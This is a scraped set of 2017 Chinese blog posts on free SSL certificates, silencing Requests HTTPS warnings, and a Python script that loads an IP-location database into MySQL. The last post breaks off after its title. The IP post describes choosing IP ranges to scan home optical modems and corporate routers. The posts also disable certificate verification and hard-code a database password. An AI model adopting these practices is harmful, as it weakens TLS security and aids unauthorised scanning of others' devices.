{"title": ["\u535a\u5ba2\u589e\u52a0https\u652f\u6301"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-12, 11:10 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<p>\r\n\t\u4e4b\u524d\u4e00\u76f4\u60f3\u628a\u535a\u5ba2\u52a0\u4e2ahttps\uff0c\u65e0\u5948\u4e00\u76f4\u627e\u4e0d\u5230\u514d\u8d39\u7684ssl\u8bc1\u4e66\uff0c\u524d\u6bb5\u65f6\u95f4\u53d1\u73b0\u56fd\u5185\u5404\u79cd\u673a\u6784\u90fd\u5f00\u59cb\u63d0\u4f9b\u514d\u8d39\u7684ssl\u8bc1\u4e66\u4e86\uff0c\u867d\u7136\u53ea\u6709\u4e00\u5e74\uff0c\u4f46\u662f\u591f\u7528\u3002\r\n</p>\r\n<p>\r\n\t\u4e8e\u662f\u5728\u817e\u8baf\u4e91\u4e0a\u7533\u8bf7\u4e86\u514d\u8d39\u7684ssl\u8bc1\u4e66\uff0c\u817e\u8baf\u4e91\u7684\u4f18\u70b9\u5c31\u662f\u4e0d\u9650\u5236\u7533\u8bf7\u7684\u57df\u540d\u4e2a\u6570\uff0c\u800c\u4e14\u57df\u540d\u6709\u6ca1\u6709\u5907\u6848\u90fd\u884c\uff0c\u5982\u679c\u6709\u591a\u4e2a\u57df\u540d\u5c31\u53ef\u4ee5\u7533\u8bf7\u591a\u4e2a\u514d\u8d39\u7684\u8bc1\u4e66\u4e86\uff0c\u6bd4\u8f83\u826f\u5fc3\uff0c\u8bc1\u4e66\u7528\u7684\u662f\u4e9a\u6d32\u8bda\u4fe1\u7684\u8bc1\u4e66\u3002\r\n</p>\r\n<p>\r\n\t\u963f\u91cc\u4e91\u7684\u514d\u8d39\u8bc1\u4e66\u9650\u5236\u6bd4\u8f83\u591a\uff0c\u4f46\u662f\u8bc1\u4e66\u4f7f\u7528\u7684\u662f\u8d5b\u95e8\u94c1\u514b\u7684\u8bc1\u4e66\uff0c\u770b\u8d77\u6765\u6bd4\u8f83\u5389\u5bb3\u3002\r\n</p>\r\n<p>\r\n\t\u6628\u5929\u770b\u4e86\u4e0b\uff0c\u4e03\u725b\u4e91\u5b58\u50a8\u4e5f\u63d0\u4f9b\u514d\u8d39\u7684ssl\u8bc1\u4e66\uff0c\u540c\u65f6\u652f\u6301\u4e0a\u4f20\u81ea\u5df1\u7684ssl\u8bc1\u4e66\u5b9e\u73b0\u5bf9\u8c61\u5b58\u50a8\u7684https\uff0c\u8fd9\u4e00\u70b9\u76f8\u5bf9\u963f\u91cc\u4e91\u7684oss\u6765\u8bf4\u8fd8\u662f\u6bd4\u8f83\u667a\u80fd\u4e00\u70b9\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23444 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u89e3\u51b3Python 2.7.x \u4f7f\u7528Requests\u53d1\u8d77https\u8bf7\u6c42\u65f6\u62a5Warning\u7684\u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-06-07, 3:12 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u4f7f\u7528Python\u5199\u5c0f\u722c\u866b\u662f\u4e00\u4ef6\u975e\u5e38\u5feb\u4e50\u7684\u4e8b\u60c5\uff0c\u73b0\u5728\u8d8a\u6765\u8d8a\u591a\u7684\u7f51\u7ad9\u4f7f\u7528\u7684\u662fhttps\u5b89\u5168\u94fe\u63a5\uff0c\u4f46\u662f\u5728\u4f7f\u7528requests\u8bf7\u6c42https\u7f51\u7ad9\u7684\u65f6\u5019\u4f1a\u63d0\u793a\u4e00\u5927\u5806\u7684warning\uff0c\u8fd9\u867d\u7136\u4e0d\u4f1a\u5f71\u54cd\u529f\u80fd\uff0c\u4f46\u662f\u770b\u8d77\u6765\u8fd8\u662f\u975e\u5e38\u4e0d\u53cb\u597d\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u4eca\u5929\u54b1\u4eec\u5c31\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u5148\u6765\u770b\u4e0b\u5177\u4f53\u7684Warning\u662f\u5565\u6837\u7684\r\n</p>\r\n<pre class=\"brush:bash;\">/usr/local/lib/python2.7/dist-packages/requests/packages/urllib3/connectionpool.py:852: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)</pre>\r\n<p>\r\n\t\u770b\u5230\u8fd9\u4e2a\u7684\u65f6\u5019\u4e0d\u8981\u62c5\u5fc3\uff0c\u53ea\u662f\u4e2aWarning\u4e0d\u662fError\uff0c\u8ba4\u771f\u8bfb\u4e00\u4e0b\u8fd9\u53e5\u8bdd\uff0c\u4f3c\u4e4e\u8ddf urllib3 \u6709\u5173\u7cfb\uff0c\u540e\u9762\u8fd8\u6709\u4e2a\u94fe\u63a5\u5730\u5740 https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings \u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662fRequests\u5e93\uff0crequests \u5e93\u5176\u5b9e\u662f\u57fa\u4e8e urllib \u7f16\u5199\u7684\uff0c\u5bf9 urllib \u8fdb\u884c\u4e86\u5c01\u88c5\uff0c\u4f7f\u5f97\u4f7f\u7528\u65f6\u5019\u7684\u4f53\u9a8c\u597d\u4e86\u5f88\u591a\uff0c\u73b0\u5728 urllib \u5df2\u7ecf\u51fa\u5230\u4e863\u7248\u672c\uff0c\u529f\u80fd\u548c\u6027\u80fd\u81ea\u7136\u662f\u63d0\u5347\u4e86\u4e0d\u5c11\u3002\u6240\u4ee5\uff0crequests\u6700\u65b0\u7248\u672c\u4e5f\u662f\u57fa\u4e8e\u6700\u65b0\u7684 urllib3 \u8fdb\u884c\u5c01\u88c5\u3002\r\n</p>\r\n<p>\r\n\t\u6240\u4ee5\uff0c\u4e0a\u9762\u770b\u7684\u54ea\u4e2a\u63d0\u793a\u5176\u5b9e\u5c31\u662f urllib3 \u7684\u63d0\u793a\uff0c\u6839\u636e\u63d0\u793a\u7ed9\u51fa\u7684\u94fe\u63a5\u54b1\u4eec\u8fdb\u53bb\u770b\u4e0b\u5199\u4e86\u5565\u3002\r\n</p>\r\n<p>\r\n\t\u5728urllib2\u65f6\u4ee3\u5bf9https\u7684\u5904\u7406\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u8bf7\u6c42\u7684\u65f6\u5019\u52a0\u4e0a verify=False \u5373\u53ef\uff0c\u8fd9\u4e2a\u53c2\u6570\u7684\u610f\u601d\u662f\u5ffd\u7565https\u5b89\u5168\u8bc1\u4e66\u7684\u9a8c\u8bc1\uff0c\u4e5f\u5c31\u662f\u4e0d\u9a8c\u8bc1\u8bc1\u4e66\u7684\u53ef\u9760\u6027\uff0c\u76f4\u63a5\u8bf7\u6c42\uff0c\u8fd9\u5176\u5b9e\u662f\u4e0d\u5b89\u5168\u7684\uff0c\u56e0\u4e3a\u8bc1\u4e66\u53ef\u4ee5\u4f2a\u9020\uff0c\u4e0d\u9a8c\u8bc1\u7684\u8bdd\u5c31\u4e0d\u80fd\u4fdd\u8bc1\u6570\u636e\u7684\u771f\u5b9e\u6027\u3002\r\n</p>\r\n<p>\r\n\t\u5728urllib3\u65f6\u4ee3\uff0c\u5b98\u65b9\u5f3a\u5236\u9a8c\u8bc1https\u7684\u5b89\u5168\u8bc1\u4e66\uff0c\u5982\u679c\u6ca1\u6709\u901a\u8fc7\u662f\u4e0d\u80fd\u901a\u8fc7\u8bf7\u6c42\u7684\uff0c\u867d\u7136\u6dfb\u52a0\u5ffd\u7565\u9a8c\u8bc1\u7684\u53c2\u6570\uff0c\u4f46\u662f\u4f9d\u7136\u4f1a \u7ed9\u51fa\u9192\u76ee\u7684 Warning\uff0c\u8fd9\u4e00\u70b9\u6ca1\u6bdb\u75c5\u3002\r\n</p>\r\n<h2>\r\n\t\u89e3\u51b3<br>\r\n</h2>\r\n<p>\r\n\t\u54b1\u4eec\u5728\u5199\u722c\u866b\u7684\u65f6\u5019\u4e00\u822c\u4e5f\u4e0d\u4f1a\u53bb\u5728\u610f\u76ee\u6807\u5730\u5740\u7684\u8bc1\u4e66\u662f\u5426\u5b89\u5168\uff0c\u76f4\u63a5\u5f00\u722c\uff0c\u8fd9\u91cc\u54b1\u4eec\u5c31\u4e0d\u5e0c\u671b\u770b\u5230\u4e00\u5927\u5806\u7684\u9519\u8bef\u63d0\u793a\uff0c\u6839\u636e\u5b98\u65b9\u7ed9\u51fa\u7684\u89e3\u51b3\u65b9\u6cd5\uff0c\u9488\u5bf9Python 2 \u7684\u65b9\u6cd5\u5f88\u7b80\u5355\r\n</p><pre class=\"brush:py;\">>>> import urllib3\r\n>>> urllib3.disable_warnings()</pre>\r\n\u4e24\u884c\u4ee3\u7801\u5c31\u884c\u4e86\uff0c\u4f46\u662f\u8fd9\u91cc\u54b1\u4eec\u9700\u8981\u6ce8\u610f\uff0c\u54b1\u4eec\u7528\u7684\u662fRequests\u5e93\u800c\u4e0d\u662f\u76f4\u63a5\u4f7f\u7528\u7684urllib3\uff0c\u6240\u4ee5\u8fd9\u91cc\u54b1\u4eec\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\u5b98\u65b9\u7ed9\u5b9a\u7684\u65b9\u6848\uff0c\u7a0d\u5fae\u8c37\u6b4c\u4e86\u4e00\u4e0b\u627e\u5230\u4e86\u89e3\u51b3\u65b9\u6848\uff0c\u8fd9\u4e2a\u89e3\u51b3\u65b9\u6848\u662f\u5728Requests\u5e93\u7684\u5b98\u65b9github\u7684issues\u4e0a\u7ed9\u51fa\u7684\uff0c\u5730\u5740\u00a0https://github.com/requests/requests/issues/2214 \uff0c\u4ee3\u7801\r\n<pre class=\"brush:py;\">requests.packages.urllib3.disable_warnings()</pre>\r\n\u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u91cc\u4f9d\u7136\u9700\u8981\u8bbe\u7f6e\u00a0 verify=False \u6765\u5ffd\u7565\u8bc1\u4e66\u7684\u9a8c\u8bc1\u3002\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23443 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528Python\u5199\u4e00\u4e2a\u8f6c\u5b58\u7eaf\u771fIP\u6570\u636e\u5e93\u7684\u811a\u672c"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-05-18, 4:25 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u8d44\u6e90\u5171\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u597d\u4e45\u6ca1\u5199\u6587\uff0c\u6709\u70b9\u751f\u758f\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e00\u4e24\u4e2a\u6708\u9879\u76ee\u5b9e\u5728\u662f\u7e41\u5fd9\uff0c\u57fa\u672c\u4e0a\u6bcf\u5929\u665a\u4e0a\u90fd\u5f97\u52a0\u73ed\u5230\u597d\u665a\uff0c\u51e0\u4e4e\u6324\u4e0d\u51fa\u6765\u65f6\u95f4\u5199\u4e1c\u897f\u3002\r\n</p>\r\n<p>\r\n\t\u6628\u5929\u9879\u76ee\u57fa\u672c\u4e0a\u7b97\u662f\u4e0a\u7ebf\u6210\u529f\u4e86\uff0c\u5386\u65f6\u4e00\u4e2a\u6708\u7684\u91cd\u6784\u3001\u4f18\u5316\u3001\u8c03\u8bd5\u3001\u5bf9\u63a5\u540e\u7aef\u63a5\u53e3\uff0c\u65b0\u52a0\u5165\u4e00\u4e2a\u56e2\u961f\u9700\u8981\u78e8\u5408\uff0c\u9047\u5230\u7684\u95ee\u9898\u4e5f\u975e\u5e38\u591a\u3002\r\n</p>\r\n<p>\r\n\t\u9879\u76ee\u5f00\u53d1\u4e2d\u9047\u5230\u7684\u95ee\u9898\u90fd\u662f\u4e9b\u5c0f\u95ee\u9898\uff0c\u6211\u4f1a\u6574\u7406\u5230\u535a\u5ba2\uff0c\u4eca\u5929\u6765\u5199\u5199\u6211\u81ea\u5df1Python\u5c0f\u5de5\u5177\u3002\r\n</p>\r\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u6211\u5199\u8fc7\u5f88\u591a\u5173\u4e8e\u626b\u63cf\u811a\u672c\u7684\u6587\u7ae0\uff0c\u4e00\u76f4\u90fd\u6ca1\u5199\u81ea\u5df1\u7684\u626b\u63cfIP\u6bb5\u662f\u54ea\u91cc\u641e\u6765\u7684\uff0c\u4e5f\u4f1a\u6709\u670b\u53cb\u7ecf\u5e38\u6765\u95ee\u4e00\u4e9b\u626b\u63cf\u7ecf\u9a8c\uff0c\u8bf4\u5b9e\u8bdd\u6211\u89c9\u5f97\u8fd9\u4e2a\u5de5\u5177\u5e76\u6ca1\u6709\u5b9e\u9645\u7684\u6280\u672f\u542b\u91cf\uff0c\u4f46\u662f\u80fd\u63d0\u9ad8\u5de5\u4f5c\u6548\u7387\uff0c\u5c31\u5171\u4eab\u51fa\u6765\u7ed9\u5927\u5bb6\u800d\u800d\uff5e\r\n</p>\r\n<p>\r\n\t\u8c08\u5230\u626b\u63cf\u7ecf\u9a8c\uff0c\u6211\u4e2a\u4eba\u901a\u5e38\u90fd\u4f1a\u9488\u5bf9\u4e0d\u540c\u7684\u8bbe\u5907\uff0c\u4e0d\u540c\u7684\u5e94\u7528\u9009\u62e9\u4e0d\u540c\u7c7b\u578b\u7684\u6bb5\u3002\r\n</p>\r\n<p>\r\n\t\u6bd4\u5982\u6211\u73b0\u5728\u626b\u63cf\u7684\u76ee\u6807\u662f\u4e00\u6b3e\u7535\u4fe1\u5149\u732b\uff0c\u90a3\u81ea\u7136\u662f\u9009\u62e9\u7535\u4fe1\u7684IP\u6bb5\uff0c\u5149\u732b\u4e00\u822c\u662f\u5bb6\u5ead\u7528\u6237\uff0c\u6211\u4eec\u7b5b\u9009\u4e0b\u5bb6\u5ead\u7528\u6237\u7684\u6d3b\u8dc3IP\u6bb5\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u6709\u9488\u5bf9\u6027\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u518d\u6bd4\u5982\u6211\u73b0\u5728\u60f3\u626b\u4e00\u6b3e\u4f01\u4e1a\u8def\u7531\u8bbe\u5907\uff0c\u90a3\u4e48\u6211\u5c31\u53ef\u4ee5\u9009\u62e9\u4f01\u4e1a\u516c\u53f8\u591a\u7684\u6bb5\u3002\r\n</p>\r\n<p>\r\n\t\u7eaf\u771fIP\u771f\u5fc3\u662f\u4e2a\u4e0d\u9519\u7684\u5de5\u5177\uff0c\u6211\u901a\u5e38\u7528\u6765\u68c0\u7d22\u67d0\u4e2a\u5730\u533a\u7684IP\u6bb5\uff0c\u4f46\u662f\u8fd9\u4e2a\u5de5\u5177\u6709\u4e2a\u975e\u5e38\u81f4\u547d\u7684\u7f3a\u70b9\uff0c\u5c31\u662f\u4e0d\u80fd\u8054\u5408\u67e5\u8be2\uff0c\u8fd9\u5c31\u4ee4\u4eba\u975e\u5e38\u86cb\u75bc\u4e86\uff0c\u800c\u4e14\u8fd9\u73a9\u610f\u6bcf\u6b21\u7528\u90fd\u8981\u5207\u6362\u5230win\u4e0b\u9762\u64cd\u4f5c\uff0c\u5bf9\u4e8e\u6211\u8fd9\u79cdLinux\u515a\u6765\u8bf4\u81ea\u7136\u662f\u65e0\u6cd5\u5fcd\uff0c\u7d22\u6027\u5199\u4e2a\u628a\u7eaf\u771fIP\u8f6c\u5b58\u5230mysql\u6570\u636e\u5e93\u7684\u811a\u672c\uff0c\u8fd9\u6837\u4e0d\u7528\u6bcf\u6b21\u67e5\u8be2\u90fd\u53bbwin\u4e0b\u9762\uff0c\u8fd8\u53ef\u4ee5\u76f4\u63a5\u90e8\u7f72\u5230\u8fdc\u7a0b\uff0c\u67e5\u8be2\u65b9\u4fbf\u4e86\u5f88\u591a\uff0c\u6700\u4e3b\u8981\u7684\u8fd8\u662f\u652f\u6301\u591a\u6761\u4ef6\u67e5\u8be2\u3002\r\n</p>\r\n<h2>\r\n\t\u9700\u6c42\r\n</h2>\r\n<p>\r\n\tPython\u5199\u8fd9\u4e2a\u811a\u672c\u6280\u672f\u4e0a\u96be\u5ea6\u4e0d\u5927\uff0c\u4e3b\u8981\u8fd8\u662f\u7528\u5230\u4e86MySQLdb\u5e93\uff0c\u5173\u4e8eMySQLdb\u5e93\u7684\u5b89\u88c5\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u535a\u5ba2\u4e4b\u524d\u6709\u5199\u76f8\u5173\u7684\u6587\u7ae0\u3002\u8fd9\u91cc\u54b1\u4eec\u9700\u8981\u5148\u5206\u6790\u4e0b\u7eaf\u771fIP\u6570\u636e\u5e93\u7684\u6570\u636e\u6587\u4ef6\u7ed3\u6784\uff0c\u53d1\u73b0\u5176\u5b9e\u6bcf\u4e00\u884c\u7684\u7ed3\u6784\u90fd\u662f\u56fa\u5b9a\u7684\uff0c\u90a3\u4e48\u5199\u8d77\u6765\u5c31\u7b80\u5355\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u7f16\u7801\u8fd9\u5757\u6211\u5c31\u4e0d\u8be6\u7ec6\u8bf4\u4e86\uff0c\u7b80\u5355\u51e0\u4e2a\u65b9\u6cd5\u5c31\u80fd\u8f7b\u677e\u5b9e\u73b0\uff0c\u8d34\u51fa\u6765\u4ee3\u7801\r\n</p><pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n# kbdancer@92ez.com\r\n\r\nimport MySQLdb\r\nimport sys\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\n\r\ndef save_data_to_mysql(mysql_object, ip_line):\r\n try:\r\n begin = ip_line[0:16].replace(' ', '')\r\n end = ip_line[16:32].replace(' ', '')\r\n try:\r\n location = line[32:].split(' ')[0]\r\n except:\r\n location = ''\r\n try:\r\n isp_type = line[32:].replace(' ', ' ').split(' ')[1].replace('\\n', '').replace('\\r', '')\r\n except:\r\n isp_type = ''\r\n\r\n this_line_value = [begin + \"-\" + end, location, isp_type]\r\n do_insert(mysql_object, this_line_value)\r\n except Exception, e:\r\n print e\r\n\r\n\r\ndef do_insert(mysql_object, row_data):\r\n try:\r\n insert_sql = \"\"\"INSERT INTO `ipdb` (`iprange`,`location`, `type`) VALUES ( %s, %s, %s )\"\"\"\r\n mysql_object.insert(insert_sql, row_data)\r\n except Exception, e:\r\n print row_data\r\n print e\r\n\r\n\r\nclass Database:\r\n host = 'localhost'\r\n user = 'ipdb'\r\n password = '3u9whrpcEUBTnNNn'\r\n db = 'ipinfo'\r\n charset = 'utf8'\r\n\r\n def __init__(self):\r\n self.connection = MySQLdb.connect(self.host, self.user, self.password, self.db, charset=self.charset)\r\n self.cursor = self.connection.cursor()\r\n\r\n def insert(self, query, params):\r\n try:\r\n self.cursor.execute(query, params)\r\n self.connection.commit()\r\n except Exception, e:\r\n print e\r\n self.connection.rollback()\r\n\r\n def query(self, query, params):\r\n cursor = self.connection.cursor(MySQLdb.cursors.DictCursor)\r\n cursor.execute(query, params)\r\n return cursor.fetchall()\r\n\r\n def __del__(self):\r\n self.connection.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n mysql = Database()\r\n ip_file = open(sys.path[0] + \"/ip.txt\")\r\n print 'Start save to mysql ...'\r\n for line in ip_file:\r\n save_data_to_mysql(mysql, line)\r\n ip_file.close()\r\n print 'Save complete.'\r\n</pre>\r\n\r\n<h2>\r\n\t\u6ce8\u610f\r\n</h2>\r\n<p>\r\n\t\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u6027\u80fd\u95ee\u9898\uff0c\u5c31\u662f\u904d\u5386\u6240\u6709\u6570\u636e\u7684\u65f6\u5019\u9700\u8981\u8fdb\u884c\u63d2\u5165\u6570\u636e\u5e93\u7684\u64cd\u4f5c\uff0c\u5355\u884c\u63d2\u5165\u7684\u6548\u7387\u662f\u975e\u5e38\u4f4e\u7684\uff0c\u5efa\u8bae\u4f7f\u7528\u591a\u884c\u63d2\u5165\uff0c\u6bd4\u5982\u8bf4\u5199\u4e2a\u7f13\u5b58\u6570\u7ec4\uff0c\u5f53\u7f13\u5b58\u6570\u7ec4\u8fbe\u5230\u89c4\u5b9a\u7684\u6761\u6570\uff0c\u6bd4\u5982\u8fbe\u5230100\u6761\u7684\u65f6\u5019\uff0c\u4e00\u6b21\u6027\u628a100\u6761\u5b58\u5165\u5230\u6570\u636e\u5e93\uff0c\u8fd9\u4e2a\u901f\u5ea6\u6bd4\u5355\u6761\u5b58\u5165\u8981\u5feb\u5f97\u591a\u3002\u535a\u4e3b\u6211\u5728\u8fd9\u91cc\u5c31\u6316\u4e2a\u5751\uff0c\u5e0c\u671b\u4f7f\u7528\u811a\u672c\u7684\u670b\u53cb\u80fd\u81ea\u5df1\u4fee\u6539\uff0c\u6539\u8d77\u6765\u4e5f\u4e0d\u96be\u3002\r\n</p>\r\n<p>\r\n\t\u7531\u4e8e\u7eaf\u771fIP\u6570\u636e\u5e93\u5bfc\u51fa\u7684txt\u6587\u4ef6\u5e76\u4e0d\u662f\u6807\u51c6\u7684\u65e0BOM UTF8\u7f16\u7801\uff0c\u76f4\u63a5\u89e3\u6790\u80af\u5b9a\u662f\u5931\u8d25\u7684\uff0c\u5efa\u8bae\u4f7f\u7528Notepad++\u5148\u8f6c\u7801\u4e00\u4e0b\r\n</p>\r\n<h2>\r\n\t\u6548\u679c\r\n</h2>\r\n<p>\r\n\t\u539f\u59cb\u6570\u636e\r\n</p>\r\n<p>\r\n\t</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=533\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201705/cb806c88e27d78b5b0247871979bf027.png\" alt=\"old.png - \u5927\u5c0f: 273.54 KB - \u5c3a\u5bf8: 1046 x 934 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"804\"></a></div>\r\n\r\n<p>\r\n\t\u8f6c\u5b58\u4e4b\u540e\u7684\u6570\u636e\r\n</p>\r\n<p>\r\n\t</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=534\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201705/42b6a2b0493006925204a6662bed6130.png\" alt=\"new.png - \u5927\u5c0f: 217.18 KB - \u5c3a\u5bf8: 1074 x 1074 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u4f7f\u7528\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u9700\u8981\u5bfc\u51fa\u7eaf\u771fip\u6570\u636e\u5e93\u4e3atxt\u6587\u6863\uff0c\u8fd9\u91cc\u6211\u5bfc\u51fa\u4e3aip.txt<br>\r\n\u7136\u540e\u653e\u5230Py\u811a\u672c\u540c\u4e00\u76ee\u5f55<br>\r\n\u5bf9\u4e86\uff0c\u9996\u5148\u4f60\u8fd8\u5f97\u6709mysql\u6570\u636e\u5e93<br>\r\n\u7136\u540e\u5bfc\u5165\u6570\u636e\u5e93\u7ed3\u6784\uff0c\u5c31\u662f\u90a3\u4e2asql\u6587\u4ef6<br>\r\n\u63a5\u7740\u4f60\u8fd8\u5f97\u4fee\u6539\u811a\u672c\u91cc\u9762\u7684mysql\u8fde\u63a5\u5bc6\u7801\u7b49<br>\r\n\u6700\u540e\u6267\u884cPy\u811a\u672c\u5c31\u597d\u4e86\r\n</p>\r\n<h2>\r\n\t\u8bf4\u660e\r\n</h2>\r\n<p>\r\n\t\u6240\u6709\u4ee3\u7801\u90fd\u6258\u7ba1\u5728Github\r\n</p>\r\n<p>\r\n\t\u5730\u5740 https://github.com/kbdancer/myTools/tree/master/czip2mysql\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23442 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6211\u4e3a\u4ec0\u4e48\u4e0d\u7528Django\u800c\u7528Flask\uff1f"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-03-11, 4:47 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div 